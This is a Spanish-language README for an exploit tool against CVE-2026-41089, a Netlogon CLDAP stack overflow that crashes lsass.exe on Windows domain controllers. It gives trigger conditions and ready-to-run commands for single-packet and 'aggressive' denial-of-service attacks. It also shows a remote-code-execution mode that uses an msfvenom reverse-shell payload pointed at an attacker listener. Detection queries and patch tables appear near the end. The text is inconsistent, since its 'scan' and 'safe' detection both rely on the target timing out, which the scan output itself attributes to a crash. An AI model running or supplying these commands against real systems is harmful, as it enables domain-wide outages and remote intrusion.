
CVE-2026-41089 es una vulnerabilidad crítica de ejecución remota de código en el servicio Windows Netlogon que puede hacer que lsass.exe falle con un solo paquete, provocando que el controlador de dominio se reinicie en aproximadamente 30-60 segundos. Durante este tiempo, toda la autenticación del dominio en ese DC fallará.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Crítico)
CWE: CWE-121 (Desbordamiento de búfer basado en pila)
Vector de ataque: UDP/389 (CLDAP SearchRequest)
Impacto: Ejecución remota de código (RCE) / Denegación de servicio (DoS)
Versiones afectadas: Windows Server 2012 R2 ~ 2025 (Controladores de dominio)
Parche: Actualización acumulativa de mayo de 2026
La función NetpLogonPutUnicodeString en netlogon.dll presenta una vulnerabilidad de desbordamiento de búfer de pila al procesar solicitudes de búsqueda CLDAP. Esta función recibe un presupuesto de longitud en bytes, pero lo interpreta como un recuento de WCHAR, lo que provoca que la cantidad escrita sea el doble de lo esperado.
El desbordamiento ocurre en el búfer de pila fijo de 528 bytes (264 ushort) de la función NlGetLocalPingResponse. El campo User controlado por el atacante, junto con el propio nombre de dominio DNS del servidor, llenan este búfer, sobrescribiendo finalmente la cookie de seguridad GS, lo que provoca __report_gsfailure y el fallo de lsass.exe.
NtVer=0x02 en la solicitud CLDAP SearchRequest (fuerza el uso de la ruta antigua y vulnerable BuildSamLogonResponse)User ≥ ~130 caracteres (límite binario de aproximadamente 260 bytes en UTF-16)Nota:
NtVer=0x16(el valor utilizado por muchos scripts de detección públicos) activa la ruta seguraBuildSamLogonResponseExy no desencadena la vulnerabilidad.
| Modo | Descripción |
|---|---|
--mode dos | Envía paquetes CLDAP especialmente diseñados que provocan el fallo de LSASS y el reinicio del DC (~60 segundos de interrupción de autenticación) |
--mode rce | Intenta la ejecución remota de código (nivel de investigación, requiere shellcode) |
--mode scan | Escanea las respuestas a diferentes valores de NtVer para realizar fingerprinting del DC objetivo |
--mode auto | Detecta y selecciona automáticamente la mejor estrategia de ataque |
Un solo paquete puede provocar el fallo de lsass.exe, lo que hace que el controlador de dominio se reinicie en aproximadamente 30-60 segundos. Durante este período, toda la autenticación de dominio de ese DC fallará.
# Uso básico — envía 3 paquetes
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Ataque rápido con un solo paquete
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Modo agresivo — 5 paquetes concurrentes
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Nivel de investigación — poco fiable e inestable en entornos reales.
La RCE enfrenta los siguientes desafíos:
# Generar shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Enviar la cadena RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Realizar fingerprinting del DC objetivo
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Ejemplo de salida esperada (objetivo parcheado):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Ejemplo de salida esperada (objetivo sin parchear):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Si NtVer=0x02 agota el tiempo de espera mientras que otras versiones responden con normalidad, es muy probable que el objetivo sea vulnerable.
| Parámetro | Descripción | Valor predeterminado |
|---|---|---|
-l, --user-len | Longitud del campo de nombre de usuario (número de caracteres ASCII) | 180 |
--ntver | Valor de NtVer (hexadecimal, como 0x02) | 0x02 |
--count | Número de paquetes DoS enviados | 3 |
--delay | Retardo entre paquetes (segundos) | 0.5 |
-t, --timeout | Tiempo de espera del socket (segundos) | 5.0 |
--json | Salida de resultados en formato JSON | — |
--raw | Imprime el hexadecimal del paquete sin procesar antes de enviarlo | — |
--quiet | Suprime la salida del banner | — |
--shellcode-file | Archivo de shellcode personalizado (x64 sin procesar) | — |
--lhost | Dirección de escucha para la reverse shell | — |
--lport | Puerto de escucha para la reverse shell | 4444 |
# Crear un DC con un nombre de dominio largo en Windows Server (sin parchear):
# 1. Promover a controlador de dominio (nombre de dominio DNS muy largo, por ejemplo "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Confirmar que no está instalado el parche anterior a mayo de 2026
# 3. Ejecutar desde la máquina atacante:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Observar el fallo y reinicio del DC
User > 100 bytes y NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Versión de Windows Server | Número de versión parcheada | Notas |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# Script de detección seguro — no provoca el fallo del objetivo
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# Salida JSON (adecuada para escaneo masivo)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# Mostrar los pasos de verificación del parche
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
Principio de detección: envía solicitudes CLDAP cortas con NtVer=0x02 (que activa la ruta vulnerable) y NtVer=0x16 (ruta segura). Si 0x02 agota el tiempo de espera pero 0x16 responde con normalidad, es muy probable que el objetivo sea vulnerable.
# Comprobar las actualizaciones instaladas
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# Instalar la actualización más reciente
Install-WindowsUpdate -AcceptAll -AutoReboot